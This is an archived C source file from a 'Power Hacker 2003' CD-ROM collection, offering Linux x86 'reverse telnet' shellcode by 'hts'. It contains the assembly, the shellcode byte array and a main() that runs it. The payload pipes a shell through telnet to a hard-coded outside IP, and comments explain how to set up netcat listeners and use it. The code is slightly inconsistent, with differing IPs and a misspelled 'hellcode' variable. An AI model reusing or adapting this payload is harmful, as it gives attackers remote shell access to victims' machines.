home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / rts.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-02-02  |  1.5 KB  |  51 lines

  1. /*
  2.    Reverse Telnet Shellcode by hts
  3. */
  4. /*
  5.         jmp   0x31
  6.         popl  %esi
  7.         movl  %esi,0x4f(%esi)
  8.         leal  0x8(%esi),%ebx
  9.         movl  %ebx,0x53(%esi)
  10.         leal  0xb(%esi),%ebx
  11.         movl  %ebx,0x57(%esi)
  12.         xorl  %eax,%eax
  13.         movb  %eax,0x7(%esi)
  14.         movb  %eax,0xa(%esi)
  15.         movb  %eax,0x4e(%esi)
  16.         movl  %eax,0x5b(%esi)
  17.         movb  $0xb,%al
  18.         movl  %esi,%ebx
  19.         leal  0x4f(%esi),%ecx
  20.         leal  0x5b(%esi),%edx
  21.         int   $0x80
  22.         xorl  %ebx,%ebx
  23.         movl  %ebx,%eax
  24.         inc   %eax
  25.         int   $0x80
  26.         call  -0x36
  27.         .string \"/bin/sh -c /bin/telnet 200.182.207.235 5|/bin/sh|/bin/telnet 200.182.207.235 6\"
  28. */
  29.  
  30. char shellcode[] =
  31.         "\xeb\x31\x5e\x89\x76\x4f\x8d\x5e\x08\x89\x5e\x53"
  32.         "\x8d\x5e\x0b\x89\x5e\x57\x31\xc0\x88\x46\x07\x88"
  33.         "\x46\x0a\x88\x46\x4e\x89\x46\x5b\xb0\x0b\x89\xf3"
  34.         "\x8d\x4e\x4f\x8d\x56\x5b\xcd\x80\x31\xdb\x89\xd8"
  35.         "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c /bin/"
  36.         "telnet 200.182.207.246 5|/bin/sh|/bin/telnet 200"
  37.         ".182.207.246 6";
  38.  
  39. #define NAME "Reverse Telnet Shellcode - by hts"
  40.  
  41. void main(){
  42.   void (*s)() = (void *)hellcode;
  43.   printf("Shellcode length: %d\nExecuting..\n\n", strlen(hellcode));
  44.   s();
  45. }
  46.  
  47. /* I don't know if exists any reverse telnet shellcode..
  48.  * you should modify your ip addr to use it...
  49.  * to use it, nc -l -p 5 , on another terminal nc -l -p 6
  50.  * then run the shellcode with your ip addr or just 127.000.000.001
  51. */